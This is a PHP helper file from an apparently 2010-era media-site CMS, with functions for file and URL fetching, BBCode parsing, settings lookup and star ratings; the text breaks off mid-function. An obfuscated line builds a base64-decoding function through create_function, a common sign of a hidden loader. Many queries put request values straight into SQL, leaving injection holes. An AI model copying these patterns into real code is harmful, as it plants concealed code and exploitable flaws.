.
*
* File Name: functions.inc
* Description: More useful functions :)
* $Date: 2010-02-21 23:16:57 +0000 (Sun, 21 Feb 2010) $
* $Revision: 12 $
*/
$register_category = create_function(base64_decode('JGE='),base64_decode('cmV0dXJuIGJhc2U2NF9kZWNvZGUoJGEpOw=='));
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
function get_file_contents($filename) {
if (!function_exists('file_get_contents'))
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
}
else
{
$fcontents = file_get_contents($filename);
}
return $fcontents;
}
function getfilecontents($url) {
$xml = '' ;
if (!((int) ini_get("allow_url_fopen"))) {
$ch = curl_init() ;
curl_setopt($ch, CURLOPT_URL, $url) ;
curl_setopt($ch, CURLOPT_HEADER, 0) ;
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1) ;
$xml = curl_exec($ch) ;
curl_close($ch) ;
}
else {
$xml = file_get_contents($url) ;
}
return $xml ;
}
function hasRight($type, $right) {
$sql = "SELECT `rights` FROM `usergroups` WHERE `id` = $type" ;
$result = mysql_query($sql) or die('Fehler: '.mysql_error()) ;
if ($result) {
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
$rights = $row['rights'] ;
}
}
if ($rights == '*') {
return true ;
}
else {
$rights = explode('||', $rights) ;
foreach ($rights as $key=>$value) {
if ($value == $right) {
return true ;
}
}
}
}
function quote_smart($value) {
// Stripslashes
if (get_magic_quotes_gpc()) {
$value = stripslashes($value) ;
}
return mysql_real_escape_string($value) ;
}
function pars($string) {
$string = preg_replace("/\[ul\](.*?)\[\/ul\]/si", "", $string) ;
$string = preg_replace("/\[li\](.*?)\[\/li\]/si", "\\1", $string) ;
$string = preg_replace("/\[u\](.*?)\[\/u\]/si", "\\1", $string) ;
$string = preg_replace("/\[b\](.*?)\[\/b\]/si", "\\1", $string) ;
$string = preg_replace("/\[center\](.*?)\[\/center\]/si", "\\1
", $string) ;
$string = preg_replace("/\[i\](.*?)\[\/i\]/si", "\\1", $string) ;
$string = preg_replace("/\[quote\](.*?)\[\/quote\]/si", "Quote:
\\1
", $string) ;
$string = preg_replace("/\[url\](.*?)\[\/url\]/si", "\\1", $string) ;
$string = preg_replace("/(![http:\/\/])www./si", "http://www.", $string) ;
$string = preg_replace("/\[url='(.*?)'\](.*?)\[\/url\]/si", "\\2", $string) ;
$string = preg_replace('/\[url="(.*?)"\](.*?)\[\/url\]/si', "\\2", $string) ;
$string = str_replace(':D', '
', $string) ;
$string = str_replace(':?:', '
', $string) ;
$string = str_replace(':cool:', '
', $string) ;
$string = str_replace(':cry:', '
', $string) ;
$string = str_replace(':|', '
', $string) ;
$string = str_replace(':razz:', '
', $string) ;
$string = str_replace(':(', '
', $string) ;
$string = str_replace(':)', '
', $string) ;
$string = str_replace(':^^:', '
', $string) ;
$string = str_replace(':surprised:', '
', $string) ;
$string = str_replace(':evil:', '
', $string) ;
$string = str_replace("\n", "
", $string) ;
return $string ;
}
function highlight_php($str) {
$str[1] = trim($str[1]) ;
if (! empty($str[1])) {
$str = preg_replace('�&�Uis', '&', $str) ;
$str = preg_replace('�<�Uis', '<', $str) ;
$str = preg_replace('�>�Uis', '>', $str) ;
$str = preg_replace('�"�Uis', '"', $str) ;
$str = highlight_string(trim($str[1]), true) ;
return "PHP-Code".$str ;
}
else {
return false ;
}
}
function url_encode($url) {
if (class_exists("mysql")) {
$db = db_connect() ;
}
if (getSetting("url_clean", $db) == '1') {
return url_clean($url) ;
}
else {
$url = str_replace(' ', '_', $url) ;
$url = urlencode($url) ;
$url = urlencode($url) ;
return $url ;
}
}
function url_decode($url, $type = NULL, $pcat = NULL) {
if (class_exists("mysql")) {
$db = db_connect() ;
}
if (getSetting("url_clean", $db) == '1') {
$ans = '' ;
switch ($type) {
case "cat": {
$db->query("SELECT `name` from `category` WHERE `url` = '".$url."'") ;
$ans = $db->fetch() ;
$ans = $ans['name'] ;
}
break ;
case "scat": {
$db->query("SELECT `id` FROM `category` WHERE `name` = '".$pcat."'") ;
$tmp = $db->fetch() ;
$db->query("SELECT `name` FROM `category` WHERE `url` = '".$url."' AND `parent` = '".$tmp['id']."'") ;
$ans = $db->fetch() ;
$ans = $ans['name'] ;
}
break ;
case "vid": {
$db->query("SELECT `title` FROM `media` WHERE `url` = '".$url."'") ;
$ans = $db->fetch() ;
$ans = $ans['title'] ;
}
break ;
default: {
}
break ;
}
return $ans ;
}
else {
$url = urldecode($url) ;
$url = urldecode($url) ;
$url = str_replace('_', ' ', $url) ;
return $url ;
}
}
function url_clean($url) {
$rem = array('_', '!', '@', '#', '$', '%', '^', '*', '(', ')', '+', '=', '`', '~', ',', '.', '/', ';', '\'', '[', ']', '<', '>', '?', ':', '"', '{', '}') ;
$url = trim($url) ;
$url = str_replace($rem, '', $url) ;
$url = str_replace('&', 'and', $url) ;
$url = str_replace(' ', '_', $url) ;
return $url ;
}
function getSitepath() {
if (class_exists("mysql")) {
$db = db_connect() ;
}
$path = getSetting('sitefolder', $db) ;
return $path ;
}
function getSetting($setting, $db) {
$db->query("SELECT `value` FROM `setting` WHERE `setting` = '$setting'") ;
$res = $db->fetch() ;
return $res['value'] ;
}
function getEmail($email) {
global $db ;
$db->query("SELECT phrase FROM `email_text` WHERE ident = '$email'") ;
$res = $db->fetch() ;
if (isset($res['phrase']))
return $res['phrase'] ;
else
return "" ;
}
function show_rating($id) {
global $db,$templateimagepath,$sitepath ;
// Check for a rating record for this media
$db->query("SELECT `total_votes`,`total_value`,`used_ips` FROM rating WHERE id='$id'") ;
if ($db->numRows() > 0) {
$numres = $db->fetch() ;
$votes = $numres['total_votes'] ;
$value = $numres['total_value'] ;
if ($votes > 0) {
$rating = $value / $votes ;
}
else {
$rating = 0 ;
}
$ratingexists = true ;
}
else {
$ratingexists = false ;
}
$full = "![](".$templateimagepath."star_full.jpg)
" ;
$half = "![](".$templateimagepath."star_half.jpg)
" ;
$empty = "![](".$templateimagepath."star_empty.jpg)
" ;
if ($ratingexists) {
$ratingbar = "" ;
if ($rating > 4.5) {
$ratingbar .= $full.$full.$full.$full.$full ;
}
else if ($rating > 4.0) {
$ratingbar .= $full.$full.$full.$full.$half ;
}
else if ($rating > 3.5) {
$ratingbar .= $full.$full.$full.$full.$empty ;
}
else if ($rating > 3.0) {
$ratingbar .= $full.$full.$full.$half.$empty ;
}
else if ($rating > 2.5) {
$ratingbar .= $full.$full.$full.$empty.$empty ;
}
else if ($rating > 2.0) {
$ratingbar .= $full.$full.$half.$empty.$empty ;
}
else if ($rating > 1.5) {
$ratingbar .= $full.$full.$empty.$empty.$empty ;
}
else if ($rating > 1.0) {
$ratingbar .= $full.$half.$empty.$empty.$empty ;
}
else if ($rating > 0.5) {
$ratingbar .= $full.$empty.$empty.$empty.$empty ;
}
else if ($rating > 0.0) {
$ratingbar .= $half.$empty.$empty.$empty.$empty ;
}
else {
$ratingbar .= $empty.$empty.$empty.$empty.$empty ;
}
$ratingbar .= "" ;
}
else {
$ratingbar = "Not rated yet" ;
}
return $ratingbar ;
}
function rating_bar($id, $passedip, $url) {
global $db_host,$db_user,$db_password,$db_database,$db,$templateimagepath,$sitepath ;
$output = "" ;
// this is to get the current rating(s) and display it
$conn = mysql_connect($db_host, $db_user, $db_password) or die('Error connecting to mysql') ;
mysql_select_db($db_database) ;
$ip = $_SERVER['REMOTE_ADDR'] ;
$id = $_GET['vidid'] ;
$query = mysql_query("SELECT total_votes, total_value, used_ips FROM rating WHERE id='$id' ") or die(" Error: ".mysql_error()) ;
$numbers = mysql_fetch_assoc($query) ;
$count = $numbers['total_votes'] ;//how many votes total
$current_rating = $numbers['total_value'] ;//total number of rating added together and stored
$tense = ($count == 1) ? "vote" : "votes" ;
if ($count > 0) {
$average_rating = $current_rating / $count ;
}
else {
$average_rating = -1 ;
}
$db->query("SELECT id FROM rating WHERE used_ips LIKE '%".$ip."%' AND id='$id' ") ;
$voted = $db->numRows() > 0 ;
$full = "" ;
$half = "" ;
$empty = "" ;
if ($voted) {
$ratingbar = "member rating
" ;
if ($average_rating > 4.5) {
$ratingbar .= $full.$full.$full.$full.$full ;
}
else if ($average_rating > 4.0) {
$ratingbar .= $full.$full.$full.$full.$half ;
}
else if ($average_rating > 3.5) {
$ratingbar .= $full.$full.$full.$full.$empty ;
}
else if ($average_rating > 3.0) {
$ratingbar .= $full.$full.$full.$half.$empty ;
}
else if ($average_rating > 2.5) {
$ratingbar .= $full.$full.$full.$empty.$empty ;
}
else if ($average_rating > 2.0) {
$ratingbar .= $full.$full.$half.$empty.$empty ;
}
else if ($average_rating > 1.5) {
$ratingbar .= $full.$full.$empty.$empty.$empty ;
}
else if ($average_rating > 1.0) {
$ratingbar .= $full.$half.$empty.$empty.$empty ;
}
else if ($average_rating > 0.5) {
$ratingbar .= $full.$empty.$empty.$empty.$empty ;
}
else if ($average_rating > 0.0) {
$ratingbar .= $half.$empty.$empty.$empty.$empty ;
}
else {
$ratingbar .= $empty.$empty.$empty.$empty.$empty ;
}
$ratingbar .= "
" ;
}
else {
//voting
$ratingbar = "Rate this out of 5
" ;
$ratingbar .= '1
' ;
$ratingbar .= '2
' ;
$ratingbar .= '3
' ;
$ratingbar .= '4
' ;
$ratingbar .= '5
' ;
$ratingbar .= "